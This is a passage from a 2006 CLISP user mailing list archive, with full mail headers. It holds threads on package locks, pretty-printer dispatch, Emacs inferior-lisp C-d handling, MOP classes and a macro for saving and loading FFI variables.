CPE0004e2a7e9a9-CM014310113270.cpe.net.cable.rogers.com with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 21 Apr 2006 19:10:21 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Mikalai Birukou Lines: 17 Message-ID: References: <17480.63914.777874.843955@thalassa.informatimago.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 72.140.140.186 (Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050925 Firefox/1.0.4 (Debian package 1.0.4-2sarge5)) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Is it possible to intern symbols under ext:without-package-lock macro? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 21 10:11:07 2006 X-Original-Date: Fri, 21 Apr 2006 17:10:02 +0000 (UTC) Pascal Bourguignon informatimago.com> writes: --- snip --- > > See Joerg-Cyril's answer. > > (ext:without-package-lock ("SYSTEM") (intern "ABCDE" "SYSTEM")) > (defvar system::abcde 123) > > (ext:without-package-lock ("SYSTEM") > (load "definitions-in-system-package.lisp")) > would work too, since none of the symbols in the above form are to be > interned in the SYSTEM package. > Silly me. That was an obvious step. Thank you guys. From jjwiseman@yahoo.com Fri Apr 21 12:42:00 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FX1Vw-0006x1-9m for clisp-list@lists.sourceforge.net; Fri, 21 Apr 2006 12:42:00 -0700 Received: from smtp105.sbc.mail.mud.yahoo.com ([68.142.198.204]) by mail.sourceforge.net with smtp (Exim 4.44) id 1FX1Vv-0004ap-56 for clisp-list@lists.sourceforge.net; Fri, 21 Apr 2006 12:42:00 -0700 Received: (qmail 16496 invoked from network); 21 Apr 2006 19:41:53 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Received:Mime-Version:In-Reply-To:References:Content-Type:Message-Id:Content-Transfer-Encoding:From:Subject:Date:To:X-Mailer; b=CI9fru3dYN5c6qK0kqFSAMGIUMf7pKxNNrMkyyZESIq5tme464t90iHKx7enP9JSL5Fb0T+q8cdpfmQYIsepUR9KazJ34517D1CrKsMXS97KDVZfl4Mpk8rb6M0PC9iamMLln3wIjnsWSXrYr5DbyBPsOi6711Pp/pMpbZ4x5h8= ; Received: from unknown (HELO ?IPv6:::1?) (jjwiseman@sbcglobal.net@75.2.218.239 with plain) by smtp105.sbc.mail.mud.yahoo.com with SMTP; 21 Apr 2006 19:41:53 -0000 Mime-Version: 1.0 (Apple Message framework v749.3) In-Reply-To: <17477.32899.875118.883616@thalassa.informatimago.com> References: <17477.32899.875118.883616@thalassa.informatimago.com> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <60B1BCBA-1E1C-4774-AD4A-2B08F8A669BE@yahoo.com> Content-Transfer-Encoding: 7bit From: John Wiseman Subject: Re: [clisp-list] Which file contains source for system::read-eval-print? To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.749.3) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 21 12:43:02 2006 X-Original-Date: Fri, 21 Apr 2006 12:41:52 -0700 On Apr 18, 2006, at 5:12 PM, Pascal Bourguignon wrote: > Mikalai Birukou writes: >> Do you know which file contains source for system::read-eval-print? >> Thank you in advance. > > I don't know, but it might be worthwhile to learn some more about > basic unix commands, like grep and find. Alternatively, if you're > rich, you can buy a MacOSX, and use MacOSX and Xcode indexing > features. Xcode won't actually help you with Lisp files. But my Spotlight plugin for OS X[1] will: heavymeta:~ wiseman$ mdfind "org_lisp_defuns == 'gethash'" /Users/wiseman/bin/ccl-1.0/level-0/l0-hash.lisp /Users/wiseman/bin/ccl-1.0-rc1-050924/level-0/l0-hash.lisp /Users/wiseman/src/sbcl-0.9.7/src/code/target-hash-table.lisp heavymeta:~ wiseman$ mdfind "org_lisp_defmacros == '*loop*'" /Users/wiseman/inet/inet misc/iagent/SFA/MCL 4.0/Library/mit- loop.lisp /Users/wiseman/bin/ccl-1.0/hemlock/src/charmacs.lisp /Users/wiseman/bin/ccl-1.0/hemlock/src/display.lisp /Users/wiseman/bin/ccl-1.0-rc1-050924/hemlock/src/key-event.lisp /Users/wiseman/inet/inet misc/iagent/Lisp/Norvig/loop.lisp /Users/wiseman/inet/inet misc/iagent/SFA/MCL 4.0/Library/extended- loop.lisp /Users/wiseman/src/bknr/thirdparty/clim-examples-moeller/alganima/ binary-trees/listener.lisp /Users/wiseman/src/bknr/thirdparty/mcclim/Backends/beagle/image.lisp Richly yours, John Wiseman [1] http://lemonodor.com/archives/001232.html From lisp-clisp-list@m.gmane.org Fri Apr 21 13:35:14 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FX2LQ-0004ZM-Lb for clisp-list@lists.sourceforge.net; Fri, 21 Apr 2006 13:35:12 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FX2LO-00026c-VZ for clisp-list@lists.sourceforge.net; Fri, 21 Apr 2006 13:35:12 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1FX2LG-0004Jz-1I for clisp-list@lists.sourceforge.net; Fri, 21 Apr 2006 22:35:02 +0200 Received: from p54a8a8c5.dip0.t-ipconnect.de ([84.168.168.197]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 21 Apr 2006 22:35:02 +0200 Received: from tcr by p54a8a8c5.dip0.t-ipconnect.de with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 21 Apr 2006 22:35:02 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: "Tobias C. Rittweiler" Lines: 45 Message-ID: <8764l2u4ae.fsf@GNUlot.localnet> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: p54a8a8c5.dip0.t-ipconnect.de User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/22.0.50 (gnu/linux) Cancel-Lock: sha1:dNIHwAN1l0+Pd8V9YnzWpu7vvvg= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] automatic pretty-printing of symbols in conses Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 21 13:36:04 2006 X-Original-Date: Fri, 21 Apr 2006 21:17:29 +0200 Hi, I'd expect something like the following (flet ((my-symbol-pprint (stream obj) (let ((*print-pretty* nil)) (princ "++" stream) (princ obj stream) (princ "++" stream)))) (let ((*print-pprint-dispatch* (copy-pprint-dispatch))) (set-pprint-dispatch 'symbol #'my-symbol-pprint) (princ-to-string (macroexpand '(loop for i in '(1 2 3) collect i))))) to print out every symbol with leading and trailing ++. Granted, the entry in the pprint-dispatch table is only for type SYMBOL and not for (CONS SYMBOL), so maybe my expectations are simply wrong. On the other hand, (FWIW anyway), other implementations I tried (SBCL, CMUCL, ACL) behave the way I expect. Unfortunately, I find the CLHS to be somewhat scarce on the whole pretty printer subject, so it's hard to find a decisive answer; the closest argument for my case, is rather shallow, as in 22.1.3.5 it says: Therefore the following algorithm is used to print a cons x: 1. A left-parenthesis is printed. 2. The car of x is printed. 3. If the cdr of x is itself a cons, [...] 4. [...] 5. A right-parenthesis is printed. Now, that's actually the algorithm for the case that *PRINT-PRETTY* is NIL, but no such explicit algorithm is offered for the case where it's T, since it's supposed to be similiar enough except for some mentioned details. Now of course, the interesting point is what is meant with the second point, "[t]he car of x is printed": Does this mean -- when *PRINT-PRETTY* is true -- that the CAR of X is supposed to go through the whole pretty printing mechanism? If so, I think my expectation is justified. What's your opinion? -T. From njsand@internode.on.net Sun Apr 23 07:41:48 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FXfmW-0000h3-B7 for clisp-list@lists.sourceforge.net; Sun, 23 Apr 2006 07:41:48 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FXfmW-0003lh-EA for clisp-list@lists.sourceforge.net; Sun, 23 Apr 2006 07:41:48 -0700 Received: from smtp1.adl2.internode.on.net ([203.16.214.181]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FXfmU-00056P-SK for clisp-list@lists.sourceforge.net; Sun, 23 Apr 2006 07:41:48 -0700 Received: from [192.168.4.100] (ppp157-114.static.internode.on.net [150.101.157.114]) by smtp1.adl2.internode.on.net (8.13.6/8.13.5) with ESMTP id k3NEfSC1087923 for ; Mon, 24 Apr 2006 00:11:39 +0930 (CST) (envelope-from njsand@internode.on.net) Message-ID: <444B9348.2080007@internode.on.net> From: Nicholas Sandow User-Agent: Thunderbird 1.5.0.2 (Windows/20060308) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Emacs and inferior lisp mode Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Apr 23 07:42:05 2006 X-Original-Date: Mon, 24 Apr 2006 00:46:32 +1000 I am using clisp with Emacs and inf-lisp.el (Inferior Lisp mode) on Windows. When I hit ctrl-d in the break loop in the inferior lisp buffer, the entire clisp process exits - not just the break loop as I would expect. When running clisp.exe standalone in the windows console window, ctrl-d exits 1 level of the break loop, and this is a lot more convenient than typing "abort" or :q. So how do I get the ctrl-d to work in Emacs? Is this simply a limitation of inf-lisp.el? Should I give ilisp (http://sf.net/projects/ilisp) a go? Thanks, Nick From pjb@informatimago.com Sun Apr 23 08:53:05 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FXgtU-00081L-II for clisp-list@lists.sourceforge.net; Sun, 23 Apr 2006 08:53:04 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FXgtU-0004AI-MI for clisp-list@lists.sourceforge.net; Sun, 23 Apr 2006 08:53:04 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FXgtS-0004t2-Km for clisp-list@lists.sourceforge.net; Sun, 23 Apr 2006 08:53:04 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 08553586B3; Sun, 23 Apr 2006 17:52:56 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 472B4586AD; Sun, 23 Apr 2006 17:52:53 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 2F3E68748; Sun, 23 Apr 2006 17:52:53 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17483.41685.145107.345176@thalassa.informatimago.com> To: Nicholas Sandow Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Emacs and inferior lisp mode In-Reply-To: <444B9348.2080007@internode.on.net> References: <444B9348.2080007@internode.on.net> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Apr 23 08:54:01 2006 X-Original-Date: Sun, 23 Apr 2006 17:52:53 +0200 Nicholas Sandow writes: > I am using clisp with Emacs and inf-lisp.el (Inferior Lisp mode) on Windows. > > When I hit ctrl-d in the break loop in the inferior lisp buffer, the > entire clisp process exits - not just the break loop as I would > expect. When running clisp.exe standalone in the windows console > window, ctrl-d exits 1 level of the break loop, and this is a lot > more convenient than typing "abort" or :q. Well, in my inferior-lisp buffers, C-d at the end of the buffer does the right thing: exit from the break loop, or exit from clisp. Try to send: C-q C-d RET in both cases, instead of using comint-send-eof. Try it in a MS-DOS window too. > So how do I get the ctrl-d to work in Emacs? Is this simply a > limitation of inf-lisp.el? Perhaps of clisp compiled on MS-Windows? Or just of MS-Windows? In my inferior-lisp buffers, C-d is bound to: comint-delchar-or-maybe-eof which eventually calls process-send-eof, which does: ... if (!NILP (XPROCESS (proc)->pty_flag)) send_process (proc, "\004", 1, Qnil); else [... shut down the connection ...] Perhaps on MS-Windows, pty_flag is false? > Should I give ilisp (http://sf.net/projects/ilisp) a go? I don't think so. slime is better. -- __Pascal Bourguignon__ http://www.informatimago.com/ "Specifications are for the weak and timid!" From dbkerr@memlane.com Sun Apr 23 10:11:30 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FXi7M-0007jp-MX for clisp-list@lists.sourceforge.net; Sun, 23 Apr 2006 10:11:28 -0700 Received: from mail.memlane.com ([199.185.225.3]) by mail.sourceforge.net with esmtps (SSLv3:AES256-SHA:256) (Exim 4.44) id 1FXi7L-0008OT-74 for clisp-list@lists.sourceforge.net; Sun, 23 Apr 2006 10:11:28 -0700 Received: from [10.0.1.2] ([209.115.216.209]) by mail.memlane.com (Memlane Mail Server v2.58d) with ESMTP id MZA74411 for ; Sun, 23 Apr 2006 11:11:23 -0600 Mime-Version: 1.0 (Apple Message framework v749.3) Content-Transfer-Encoding: 7bit Message-Id: <91F74ABC-A910-44FD-9DF4-D7540352C0B2@memlane.com> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed To: clisp-list@lists.sourceforge.net From: Kerrighan X-Mailer: Apple Mail (2.749.3) X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.1 SUBJ_HAS_UNIQ_ID Subject contains a unique ID Subject: [clisp-list] funcallable-standard-class Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Apr 23 10:12:02 2006 X-Original-Date: Sun, 23 Apr 2006 11:15:20 -0600 Hi Thanks for CLISP. I've been using it to learn LISP for the part few months and am now moving into CLOS. Everything has worked as described until I ran across the following example: (defclass TP () ((name :initarg :name :reader name)) (:metaclass funcallable-standard-class)) The error message tells me that funcallable-standard-class does not name a class. I am working in the package "COMMON-LISP-USER". I have seen the documentation that says "COMMON-LISP" does not re-export funcallable- standard-class (etc) but I can't make the above example work when I am in the CLOS package or the COMMON-LISP package either. The example above comes (slightly modified) from the 2001 paper by Francis Sergeraert entitled Common Lisp, Typing and Mathematics. Since this paper epitomizes my reasons for learning LISP, I don't want to give up on this example. The above example is also similar to an example in your CLISP documentation, so I'm sure the problem originates on my end, i.e., is not a bug. I am using Mac OS 10.4.6. The LISP version is GNU CLISP 2.3.2. Any help you can give would be greatly appreciated. PS your logo is fine with me. Barney. From s11@member.fsf.org Sun Apr 23 10:26:25 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FXiLo-0000ms-UE for clisp-list@lists.sourceforge.net; Sun, 23 Apr 2006 10:26:24 -0700 Received: from sccimhc91.asp.att.net ([63.240.76.165]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FXiLm-0003dE-Ku for clisp-list@lists.sourceforge.net; Sun, 23 Apr 2006 10:26:24 -0700 Received: from . (12-222-181-172.client.insightbb.com[12.222.181.172]) by sccimhc91.asp.att.net (sccimhc91) with SMTP id <20060423172612i9100a8jsfe>; Sun, 23 Apr 2006 17:26:12 +0000 Subject: Re: [clisp-list] funcallable-standard-class From: Stephen Compall To: Kerrighan Cc: clisp-list@lists.sourceforge.net In-Reply-To: <91F74ABC-A910-44FD-9DF4-D7540352C0B2@memlane.com> References: <91F74ABC-A910-44FD-9DF4-D7540352C0B2@memlane.com> Content-Type: text/plain Message-Id: <1145813171.12584.2.camel@nocandy.dyndns.org> Mime-Version: 1.0 X-Mailer: Evolution 2.4.1-2mdk Content-Transfer-Encoding: 7bit X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers 1.1 SUBJ_HAS_UNIQ_ID Subject contains a unique ID Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Apr 23 10:27:02 2006 X-Original-Date: Sun, 23 Apr 2006 12:26:11 -0500 On Sun, 2006-04-23 at 11:15 -0600, Kerrighan wrote: > The error message tells me that funcallable-standard-class does not > name a class. > > I am using Mac OS 10.4.6. The LISP version is GNU CLISP 2.3.2. Assuming that you mean 2.33.2, please upgrade to 2.38 in order to access the MOP. Your example works fine in that version. -- Stephen Compall http://scompall.nocandysw.com/blog From nswart@zoominternet.net Wed Apr 19 17:31:38 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FWN57-0007mQ-8N for clisp-list@lists.sourceforge.net; Wed, 19 Apr 2006 17:31:37 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FWN55-0000gT-0O for clisp-list@lists.sourceforge.net; Wed, 19 Apr 2006 17:31:37 -0700 Received: from mx-7.zoominternet.net ([24.154.1.26]) by externalmx-1.sourceforge.net with esmtp (Exim 4.41) id 1FWN3z-00024n-Ev for clisp-list@lists.sourceforge.net; Wed, 19 Apr 2006 17:30:28 -0700 Received: from mua-1.zoominternet.net (mua-1.zoominternet.net [24.154.1.44]) by mx-7.zoominternet.net (8.12.11/8.12.11) with ESMTP id k3K0Tbb3015899; Wed, 19 Apr 2006 20:29:37 -0400 Received: from [192.168.0.8] (dynamic-acs-24-154-248-251.zoominternet.net [24.154.248.251]) by mua-1.zoominternet.net (Postfix) with ESMTP id 7F76A7F408; Wed, 19 Apr 2006 20:29:37 -0400 (EDT) Message-ID: <4446D5F2.6070805@zoominternet.net> From: Nico User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.3) Gecko/20041121 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Cc: "Hoehle, Joerg-Cyril" Subject: Re: [clisp-list] Post 2.33 CLISP behaviour and FFI References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed X-Spam-Score: 0.00 () [Tag at 15.00] X-CanItPRO-Stream: outgoing X-Scanned-By: CanIt (www . roaringpenguin . com) on 24.154.1.26 Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by mx-7.zoominternet.net id k3K0Tbb3015899 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 24 04:38:01 2006 X-Original-Date: Wed, 19 Apr 2006 20:29:38 -0400 On balance it is my lack of knowledge of lisp and not CLISP that was at=20 the root of my problem. After repeated study of your explanation and reference to lisp=20 documentation, I understand what you said and am a little wiser for that. I tried your suggestion in my=20 function example and it 'worked' as expected and will implement it in a macro as you suggested. Thank you for your explanation and help - really appreciated. Nico Swart. Hoehle, Joerg-Cyril wrote: >Nico wrote: > =20 > >>I posted before on this list on the same subject. However, I=20 >>investigated some more after that. >> =20 >> >Thanks for taking the time to make a short example so I could look at it. > >The parts relevant to the issue are > =20 > >>(def-c-var sequencetab >> =20 >> >and > =20 > >> (dolist (var '(sequencetab)) >> (set var (read stream))))) >> =20 >> > >IMHO this codes assumes undocumented behaviour of CLISP. > >DEF-C-VAR introduces a global symbol macro. Introducing a symbol macro = changes the interpretation of programs. E.g. the interpreter (and compil= er) will assign a new meaning to an occurrence of the form SEQUENCETAB, a= nd substitute the macro definition. > >However, using SET (aka SETF SYMBOL-VALUE) "bypasses" interpretation of = programs. It accesses the value cell of a symbol. >Your program expects that cell to contain something related to the inter= pretation of programs. But normally, such information is kept in what's = called the environment. > > =20 > >>This 'works' with clisp 2.33. >> =20 >> >Indeed, on 2005-01-01 Bruno Haible introduced a change which made global= symbol macros orthogonal to symbol-value. > >Before that, the symbol macro definition where found in a symbol's value= cell. SET and SYMBOL-VALUE where special-cased so as to perform the sub= stitution. In effect they were doing part of the interpreter's job. >Since the change, the substitution is kept in the interpreter's (or comp= iler's) environment -- where it arguably belongs. >SYMBOL-VALUE is left untouched, and freely available. >I don't know what motivated this change last year. > > >Great (disappointing?) news, now let's return to your problem: > =20 > >>(defun load-seq (filename) >> (with-open-file (stream filename :direction :input=20 >> :if-does-not-exist :error) >> (dolist (var '(sequencetab)) >> (set var (read stream))))) >>(load-seq "Mandseq-file") >> =20 >> > >It looks like your functions "expects" to alter the interpretation of th= e symbol SEQUENCETAB. This is a job of the interpreter (or compiler), an= d SET or SYMBOL-VALUE will not manage to do so (anymore). >So you need to modify the environment. > >Your initial example was: > =20 > >>(defmacro def-i/o (writer-name reader-name (&rest vars)) >>(def-i/o save-seq load-seq (sequencetab)) >> =20 >> > >Since you statically know the names of the variables involved, you can h= ave def-i/o generate the following snippet of code: > ... (setq/setf sequencetab (read stream)) >[As usual, use macroexpand-1 to test macro output.] > >Then the interpreter (and compiler) will do the right thing, since they = know (from their environment) that sequencetab is a foreign variable. >It's purely lexical, there's no need for SPECIAL declarations or SYMBOL-= VALUE. > >Regards, > J=F6rg H=F6hle. > > > > =20 > From nswart@zoominternet.net Sun Apr 23 15:46:51 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FXnLt-0006uA-BZ for clisp-list@lists.sourceforge.net; Sun, 23 Apr 2006 15:46:49 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FXnLt-0006AH-F0 for clisp-list@lists.sourceforge.net; Sun, 23 Apr 2006 15:46:49 -0700 Received: from mx-8.zoominternet.net ([24.154.1.27]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FXnLt-0000Vj-0m for clisp-list@lists.sourceforge.net; Sun, 23 Apr 2006 15:46:49 -0700 Received: from mua-3.zoominternet.net (mua-3.zoominternet.net [24.154.1.46]) by mx-8.zoominternet.net (8.12.11/8.12.11) with ESMTP id k3NMkdlW003896; Sun, 23 Apr 2006 18:46:44 -0400 Received: from [192.168.0.6] (dynamic-acs-24-154-248-251.zoominternet.net [24.154.248.251]) by mua-3.zoominternet.net (Postfix) with ESMTP id 463217F406; Sun, 23 Apr 2006 18:46:40 -0400 (EDT) Message-ID: <444C03D4.7000306@zoominternet.net> From: Nico User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.3) Gecko/20041121 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Cc: "Hoehle, Joerg-Cyril" Subject: Re: [clisp-list] Post 2.33 CLISP behaviour and FFI References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed X-Spam-Score: 0.00 () [Tag at 15.00] X-CanItPRO-Stream: outgoing X-Scanned-By: CanIt (www . roaringpenguin . com) on 24.154.1.27 Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by mx-8.zoominternet.net id k3NMkdlW003896 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Apr 24 04:38:02 2006 X-Original-Date: Sun, 23 Apr 2006 18:46:44 -0400 Just to conclude this topic, based on your suggestions, I implemented the= macro as below and it solves my problem. (defmacro def-i/o (writer-name reader-name (&rest vars)) (let ((file-name (gensym)) (stream (gensym))) `(progn (defun ,writer-name (,file-name) (with-open-file (,stream ,file-name :direction :output :if-exists :supersede) (progn ,@(mapcar #'(lambda (c) `(print ,c ,stream)) vars) t))) =20 (defun ,reader-name (,file-name) (with-open-file (,stream ,file-name :direction :input :if-does-not-exist :error) (progn ,@(mapcar #'(lambda (c) `(setf ,c (read ,stream))) vars) t))) t))) Thanks for the explanation and help. JN Swart Hoehle, Joerg-Cyril wrote: >Nico wrote: > =20 > >>I posted before on this list on the same subject. 